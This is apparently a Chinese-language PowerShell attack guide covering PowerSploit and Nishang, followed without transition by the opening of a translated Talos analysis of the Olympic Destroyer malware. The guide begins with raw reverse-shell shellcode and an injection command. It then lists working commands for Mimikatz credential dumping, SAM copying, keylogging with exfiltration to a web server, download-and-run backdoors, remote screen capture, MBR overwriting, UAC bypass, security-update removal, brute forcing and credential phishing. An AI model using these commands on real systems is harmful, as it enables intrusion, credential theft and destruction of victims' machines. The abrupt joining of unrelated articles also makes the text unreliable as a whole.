No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of powershell file: 1625 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5
**注入shellcode**
Invoke-Shellcode -Shellcode @(0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5) -Force
#### Invoke-WmiCommand
在目标主机使用wmi执行命令
**示例**
$username = "test\Administrator"
$password = echo "123456" | ConvertTo-SecureString -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential $username,$password
Invoke-Wmicommand -Payload { 1 + 1 } -ComputerName '192.168.1.1' -Credential $Credentials
### Exfiltration
#### Get-GPPAutologon
**示例**
Get-GPPAutologon
#### Get-GPPPassword
**示例**
Get-GPPPassword
#### Get-Keystrokes
键盘记录
**示例**
Get-Keystrokes -LogPath .\1.txt
#### Get-MicrophoneAudio
**通过麦克风记录声音**
**示例**
Get-MicrophoneAudio -Path .\1.wav -Length 10
#### Get-TimedScreenshot
**屏幕记录**
**示例**
Get-TimedScreenshot -Path .\screenshot\ -Interval 10 -EndTime 18:00
#### Get-VaultCredential
**从凭证管理器中获取凭证**
**示例**
Get-VaultCredential
#### Invoke-CredentialInjection
**参考**
<https://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/>
**示例**
Invoke-CredentialInjection -UserName test -Password 123456 -NewWinLogon
#### Invoke-Mimikatz
**示例**
Invoke-Mimikatz -DumpCreds
执行mimikaz命令
invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords"
#### Invoke-NinjaCopy
某些文件被其他进程占用导致不能复制时，可以尝试用这个脚本来复制（例如想dump SAM文件） 需要管理员权限
**示例**
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM.hive
#### Invoke-TokenManipulation
**参考**
> <https://clymb3r.wordpress.com/2013/11/03/powershell-and-token-> impersonation/>
**示例** **枚举唯一 可用的令牌**
Invoke-TokenManipulation -Enumerate
**枚举所有的令牌（包括不唯一的与通过网络登陆所创建的令牌）**
Invoke-TokenManipulation -ShowAll
**使用SYSTEM用户的令牌创建一个进程**
Invoke-TokenManipulation -CreateProcess "calc.exe" -Username "NT AUTHORITY\SYSTEM"
这里也可以通过ID来指定一个Token
Invoke-TokenManipulation -CreateProcess "calc.exe" -ProcessId "1234"
那么这里会使用进程ID1234的会话来启动一个进程
**使当前的线程令牌模仿SYSTEM用户**
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
#### Out-Minidump
dump指定进程完整的内存镜像
**示例**
Out-Minidump -Process (Get-Process -Id 2612) -DumpFilePath .\
#### VolumeShadowCopyTools
卷影拷贝工具
##### Get-VolumeShadowCopy
列出所有卷影拷贝的路径 需要管理员权限 **示例**
Get-VolumeShadowCopy
##### New-VolumeShadowCopy
新建卷影拷贝
**示例**
New-VolumeShadowCopy -Volume C:\
##### Mount-VolumeShadowCopy
挂载卷影拷贝
**示例**
Mount-VolumeShadowCopy -Path C:\Users\haha -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
##### Remove-VolumeShadowCopy
删除卷影拷贝
**示例**
Remove-VolumeShadowCopy -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
### Mayhem
将此模块放在`%Systemroot%/System32\WindowsPowerShell\v1.0\Modules`
或`$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules`
#### Set-CriticalProcess
退出powershell时使系统蓝屏
**示例**
Set-CriticalProcess
立刻退出
Set-CriticalProcess -ExitImmediately
#### Set-MasterBootRecord
覆写主引导记录
**示例**
Set-MasterBootRecord -BootMessage "test"
### Persistence
同mayhem放置位置
**示例**
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
### Privesc
#### Get-System
需要运行在STA模式下，启动参数-STA
**参考**
> <http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-> getsystem/>
**示例**
get-system
**选择方式**
get-system -Technique namedpipe/token
**恢复令牌**
Get-System -RevToSelf
#### PowerUp
**参考**
> <http://www.harmj0y.net/blog/powershell/powerup-a-usage-> guide/><https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>
### Recon
#### Get-ComputerDetails
获取计算机信息
**示例**
Get-ComputerDetails
#### Get-HttpStatus
扫目录脚本
**示例**
Get-HttpStatus -Target www.example.com -Path C:\dic.txt -UseSSL
#### Invoke-Portscan
扫端口
**示例**
**扫描192.168.1.1/24的135,139,445端口**
Invoke-Portscan -Hosts 192.168.1,1 -Ports "135,139,445,1" -Threads 50
**扫描Top50的端口**
Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50
**扫描前不ping目标主机**
Invoke-Portscan -Hosts 192.168.169.168 -Ports 445 -SkipDiscovery
#### Invoke-ReverseDnsLookup
ip反查主机名
**示例**
Invoke-ReverseDnsLookup -IpRange 192.168.1.1-192.168.1.254
#### PowerView
同mayhem放置位置
**参考**
> <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/README.md>
> <http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-1/>
> <http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-2/>
> <http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-> series-3/><http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-> series-4/>
### ScriptModification
#### Out-CompressedDll
将dll压缩并base64编码
**示例**
Out-CompressedDll -FilePath test.dll
#### Out-EncodedCommand
将脚本或代码块编码
**示例** **脚本块编码**
Out-EncodedCommand -ScriptBlock {write-host 'whoami'}
**脚本编码**
Out-EncodedCommand -Path .\1.ps1 -WindowStyle Hidden
#### Out-EncryptedScript
脚本加密
**示例**
Out-EncryptedScript -ScriptPath .\1.ps1 -Password fuck -Salt 123 -FilePath .\encrypt.ps1
#### Remove-Comments
删除注释和不必要的空白符
**示例**
Remove-Comments -Path .\1.ps1
Remove-Comments -ScriptBlock { whoami }
## Nishang
下面Nishang的介绍，朋友[V1ct0r](https://github.com/lwhv1ct0r/)对于Nishang的总结不错，这里争取同意之后一起发给大家查看。
### 0.信息搜集
#### Check-VM
从这个脚本的名字就可以看出来，它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息（如：Hyper-V, VMWare,
Virtual PC, Virtual Box,Xen,QEMU）来识别。 执行方式：
PS > Check-VM
测试
#### Copy-VSS
这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM
hive也能被拷贝出来。 执行方式：
PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:\temp //指定保存文件的路径（必须是已经存在的路径）
测试
#### Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的。 执行方式：
PS > Invoke-CredentialsPhish
测试
执行后会弹出这个框欺骗用户输入
直到用户输入正确后这个框才会消失，然后我们就可以得到明文的管理员账号密码：
#### FireBuster FireListener
FireBuster可以对内网进行扫描，它会把包发给FireListener 执行方式：
PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020
该脚本作者的Github上面还提供了一个Python版的监听端：<https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/> 测试 我们首先在我们的机器（Attacker）上面运行FireListener：
FireListener 100-110
Victim：
FireBuster 192.168.199.1 90-110 -Verbose
#### Get-Information
这个脚本可以获取目标机器上大量的信息（FTP访问，进程，计算机配置信息，无线网络和设备的信息，Hosts信息等等非超丰富）。 执行方式：
PS > Get-Information
还可以用我们前面说过的Out-File来将运行结果保存到指定文件。
#### Get-LSASecret
该脚本可以获取LSA信息，但是使用的前提当然是你已经成功提升了权限的情况下，通常和我们后面提权当中涉及到的Enable-DuplicateToken（帮助我们获得System权限）联合使用。 执行方式：
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
#### Get-PassHashes
这个脚本在Administrator的权限下，可以dump出密码哈希值。这个脚本来自于msf中powerdump，但做出了修改，使得我们不再需要System权限就可以dump了。
执行方式：
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
#### Get-WLAN-Keys
在Administrator的权限下，可以利用这个脚本来dump出WLAN文件的密钥信息。实质上，这个脚本就是利用了netsh wlan show
profile name=”” key=clear来获取。 执行方式：
PS > Get-WLAN-Keys
#### Keylogger
Keylogger可以保存下用户的键盘记录。 执行方式：
PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串，如果存在的话就停止使用记录。
PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .\Keylogger.ps1 -persist //实现持久化记录（重启后依然进行记录）
PS > .\Keylogger.ps1 //直接以这种方式来运行，键盘记录会保存在当前用户的Temp目录下key文件中
测试 首先执行 PS > .\Keylogger.ps1
发现在当前用户的Temp目录下生成了Key的文件，这时我们使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys .\key.log .\parsed.txt
然后parsed.txt里面就是解析后的按键记录了
#### Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系统用户密码。 执行方式：
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
执行了
PS >Invoke-MimikatzWDigestDowngrade
Windows会锁屏
之后执行
Get-Job
发现尝试多次都测试失败
解决办法可以参考： [域渗透——Dump Clear-Text Password after KB2871997
installed](http://www.myhack58.com/Article/html/3/62/2016/75903.htm)
#### Get-PassHints
这个脚本可以从Windows获得用户的密码的提示信息，需要有Administrator的权限来读取SAM hive。 执行方式：
PS > Get-PassHints
#### Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面，在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器（如：Firefox）访问本机对应监听端口，即可在浏览器上面看到远端传输回来的实时画面。
PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443 //将远程的画面传送到192.168.230.1的443端口
测试 Victim：
Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse
Attacker：
nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //这里我使用的NC，也可以用Powercat
本机访问：127.0.0.1:9000
#### Invoke-Mimikatz
Mimikatz大家都非常熟悉了，就不再介绍了 执行方式：
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
### 1.域相关脚本
#### Get-Unconstrained
查找域内开启了Kerberos Unconstrained Delegation的机器。 执行方式：
PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details //返回更详细的信息
关于”通过Kerberos Unconstrained
Delegation获取到域管理员”：<http://www.freebuf.com/articles/terminal/98530.html>
### 2.Antak Webshell
#### Antak
一个ASPX的Webshell，通过这个Webshell可以编码、执行脚本，上传、下载文件。 ![Antak_UI][7] 执行方式：
上传Webshell后把它当成一个正常的Powershell执行窗口来使用
上传和下载文件，只需要填写好对应路径点击上传、下载按钮即可
关于Antak
Webshell的更多介绍，请参考：<http://www.labofapenetrationtester.com/2014/06/introducing-antak.html>
### 3.后门
#### HTTP-Backdoor
HTTP-Backdoor可以帮助我们在目标机器上下载和执行Powershell脚本 执行方式：
PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
下面解释下几个比较重要的参数：
* CheckURL 给出一个URL地址，如果存在我们MagicString中的值就去执行Payload – 下载运行我们的脚本
* PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址
* Arguments 这个参数指定我们要执行的函数
* StopString 这个参数也会去看是否存在我们CheckURL返回的字符串，如果存在就会停止执行
#### DNS_TXT_Pwnage
利用DNS隧道来进行信息传输、通信的小技巧已经不少见了。在Nishang中也集成了一个通过DNS
TXT来接收命令或者脚本的后门脚本。使用DNS_TXT_Pwnage这个脚本，我们一般需要配合Utility下的Out-DnsTxt使用。
所以这里首先说下Out-DnsTxt的使用：
PS >Out-DnsTxt -DataToEncode path //path处是你想编码的内容的路径
之后，它会生成一个编码后的文件，如下图所示
然后我们去添加对应的TXT记录就行了，encoded.txt文件中每一行为一条记录 添加完后我们还需要添加两条TXT记录，内容为start和stop
添加完成后，我们就可以利用DNS_TXT_Pwnage这个脚本了 执行方式：
PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop
具体参数的意思：
* startdomain 会一直去检测我们指定域名的TXT记录，并把返回的记录与我们输入的cmdstring以及psstring进行比较
* cmdstring 是我们任意输入的字符串，如果startdomain与我们这里输入的cmdstring值相等则执行commanddomain命令
* commanddomain 创建的执行命令TXT记录的域名
* psstring 是我们任意输入的字符串，如果与我们这里输入的psstring值相等则执行psdomain脚本
* psdomain 是我们创建的执行脚本TXT记录的域名
* Subdomains 是执行脚本创建TXT记录的个数
* StopString 是任意输入的字符串，如果这里输入的字符串与startdomain中返回的记录相同将会停止执行我们的Payload
* Arguments 指定要执行的函数名
#### Execute-OnTime
执行方式：
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload
具体参数的意思：
* PayloadURL 指定我们脚本下载的地址
* Arguments 指定执行的函数名
* Time 参数可以设定脚本执行的时间（例如 -Time 23:21）
* CheckURL 参数会检测我们一个指定的URL内容是否存在StopString给出的字符串，如果发现了就停止执行
#### Gupt-Backdoor
Gupt-Backdoor这个脚本可以帮助我们通过无线SSID反弹后门和执行命令。 执行方式：
PS >Gupt-Backdoor -MagicString test -Verbose
这里解释一下MagicString这个参数： MagicString开头的4个字符是用来识别我们建立的WIFI
SSID的。例如，这里是test，Gupt后门会去自动匹配我们WIFI中SSID以test开头的。而MagicString这个参数从第五个字符开始就决定了我们是执行命令或是下载脚本。
需要注意的是：
* 如果它的第五个字符是c就代表执行命令。 例如：-MagicString testcwhoami 就会匹配WIFI SSID为test的，并执行命令whoami
* 如果它的第五个字符是u的话就代表下载脚本。 例如：-MagicString testuXXXX 就会匹配WIFI SSID为test的，并默认下载http://goo.gl/XXXX （其中http://goo.gl可在脚本的$PayloadURL参数中修改）
* 还可以用Arguments参数来指定下载脚本 例如： PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose 就可以下载Get-Information的脚本了
补充 Windows下创建一个WIFI：
cmd
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=test key=1234567890
netsh wlan start hostednetwork
#### Add-ScrnSaveBackdoor
这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门 执行方式：
PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用这条语句可以执行我们自己的Payload
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor
http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用这条命令可以从powershell执行一个HTTP-Backdoor
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 //还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell)，然后利用这条命令返回一个meterpreter
其他具体的参数的意思和我们上面介绍的一些后门是类似的
* PayloadURL 指定我们需要下载的脚本地址
* Arguments 指定我们要执行的函数以及相关参数
#### Invoke-ADSBackdoor
这个脚本是使用NTFS数据流留下一个永久性后门。其实，由NTFS数据流带来的一些安全问题的利用并不少见了（如：利用NTFS数据流在Mysql
UDF提权中创建lib/plugin目录），大家可以参考《[NTFS
ADS带来的WEB安全问题](http://wenku.baidu.com/view/22e049f55022aaea998f0f7c.html?from=search)》
这个脚本可以向ADS中注入代码并且以普通用户权限运行 执行方式：
PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.
com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis
这个脚本主要有两个参数，在上面介绍其他后门当中已经说明了，这里是类似的
需要说明的是，执行后它会在AppData的目录下建立一个ads并把我们的Payload注入进去，如果我们希望在cmd下看到我们这里建立的ads，需要使用：dir
/a /r
### 4.客户端
对于这一部分的脚本，我就不再赘述了，因为网上早已经有了对于这一部分脚本的介绍说明： [使用Powershell Client进行有效钓鱼][8]
### 5.权限提升
#### Enable-DuplicateToken
这个脚本可以帮助我们在已经获得了一定权限的情况下，使我们提升到System权限。 执行方式
PS > Enable-DuplicateToken
具体的相关介绍可以查阅：<https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/>
#### Remove-Update
这个脚本可以帮助我们移除系统所有的更新，或所有安全更新，以及指定编号的更新。 执行方式：
PS > Remove-Update All //移除目标机器上的所有更新
PS > Remove-Update Security //移除目标机器上所有安全相关更新
PS > Remove-Update KB2761226 //移除指定编号的更新
#### Invoke-PsUACme
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法，我们可以在Invoke-PsUACme中指定相应方法执行。 执行方式：
PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload
除开以上而外，我们还可以使用-PayloadPath参数来指定Payload的路径，默认情况下Payload会在C:\Windows\Temp\cmd.bat结束。还可以使用-CustomDLL64（64位）或-CustomDLL32（32位）参数来自定义一个DLL文件。
### 6.扫描
#### Invoke-BruteForce
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破 执行方式：
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose //爆破SQL Server
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose //爆破server.txt中所有servers的SQL Server
主要的参数：
* ComputerName 用于指定对应服务的计算机名
* UserList 用户名字典
* PasswordList 密码字典
* Service 服务类型（注意默认为：SQL）
* StopOnSuccess 成功找到一个后就停止执行
#### Invoke-PortScan
利用这个脚本我们可以在目标机器上对内网进行端口扫描 执行方式：
PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80
主要的参数：
* StartAddress 扫描范围开始的地址
* EndAddress 扫描范围结束的地址
* ScanPort 进行端口扫描
* Port 指定扫描端口（默认扫描端口：21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901）
* TimeOut 设置超时时间
### 7.中间人
#### Invoke-Interceptor
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求，并将这些请求记录下来 执行方式：
PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口（默认8081端口） 例如 我们在目标机器上执行：
然后这里本机我用NC来监听对应端口：
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
### Nishang结语
Nishang这款基于PowerShell的渗透测试专用工具集成了非常多实用的脚本与框架，方便我们在渗透测试过程之中使用。尽管，在一些环境下我们可能没有办法去执行Powershell，但是通过查看这些脚本的具体代码，我们也可以自己去完成实现脚本提供的一些功能。限于篇幅，本文只能抛砖引玉地介绍Nishang的部分功能，希望大家能够在实际的应用之中去体验。
## 总结
好了，目前关于Powershell的东西已经分享完啦，中间一些内容或许有些错误，之后如果还有更新请关注我的[GitBook](https://rootclay.gitbooks.io/powershell-attack-guide/content/)，最后先卖一波红线～，大家不知道红线是什么的话可以扫一扫:) | 社区文章 |
# Olympic Destroyer：针对冬奥会的恶意软件
|
##### 译文声明
本文是翻译文章，文章原作者 WARREN MERCER，文章来源：blog.talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2018/02/olympic-destroyer.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
今年的冬奥会正在韩国平昌举行。来自英国卫报的一篇[报道](https://www.theguardian.com/sport/2018/feb/10/winter-olympics-investigating-if-technical-problems-were-cyber-attack)称，奥运会的计算机系统在开幕式期间遇到了一些技术问题。经奥运会官员确认，某些非关键系统的确出现了一些技术问题，但维护人员已经在12小时内完成恢复操作。2月11日（星期天），奥运会官员[证实](https://www.theguardian.com/sport/2018/feb/11/winter-olympics-was-hit-by-cyber-attack-officials-confirm)系统曾遭受网络攻击，但没有进一步发表评论或推测结果。
Talos团队已经识别出了本次攻击活动中所涉及的样本。目前我们仍未找出感染路径，但会继续调查核实。攻击者并没有使用我们发现的这些样本来收集奥运会竞争对手的相关信息，相反，他们的目标是破坏这次运动会。根据分析结果，这些样本似乎只会执行破坏性功能。攻击过程中并没有任何数据遭到泄露。对样本的分析结果表明，攻击者又开始使用合法软件，因为我们在样本中识别出了PsExec模块。这款恶意软件会删除卷影副本（shadows
copies）、事件日志来破坏系统正常功能，也会尝试使用PsExec以及WMI在目标环境中继续渗透。之前我们也在[BadRabbit](http://blog.talosintelligence.com/2017/10/bad-rabbit.html)以及[Nyetya](http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html)中看到过类似行为。
## 二、工作流程
### 2.1 初始阶段
最早样本的哈希值为`edb1ff2521fb4bf748111f92786d260d40407a2e8463dcd24bb09f908ee13eb9`，这是一个二进制文件，当该样本执行时，会将多个文件释放到受害者的主机上。这些文件以资源形式嵌入恶意软件中（经过混淆处理）。攻击者使用随机生成的文件名来命名这些文件，然而，我们在多次实验后发现，写入磁盘的这些文件具有相同的哈希值。目前我们尚未发现攻击者最开始使用的感染途径，由于这是一个二进制文件，因此攻击者可能使用多种方法成功完成初始恶意软件的投递。
释放出来的文件中，攻击者会使用两个参数来执行其中的两个文件（即凭据窃取模块），这两个参数分别为`123`以及一个命名管道。命名管道可以作为初始阶段载荷以及释放出的可执行文件的通信通道。BadRabbit以及Nyetya中也用到了这种技术。
初始阶段载荷负责在目标环境中继续扩散。攻击者使用如下两种技术来发现周围网络环境：
1、使用GetIPNetTable这个Windows API来检查ARP表。
2、在WMI（使用WQL）中使用如下请求：`SELECT ds_cn FROM ds_computer`。这个请求可以列出当前环境/目录中的所有系统。
恶意软件使用PsExec以及WMI（通过Win32_Process类）在网络中扩散。远程执行的代码如下所示：
这段代码的目的是将初始阶段载荷拷贝到远程系统的`%ProgramData%%COMPUTERNAME%.exe`，然后通过VBScript执行这个载荷。
为了实现横向渗透，恶意软件需要有效的凭据。恶意软件使用了2个窃取器（下文会介绍）以及二进制文件中硬编码的凭据来完成这一任务。
如你所见，恶意软件所使用的域名与`Pyeonchang
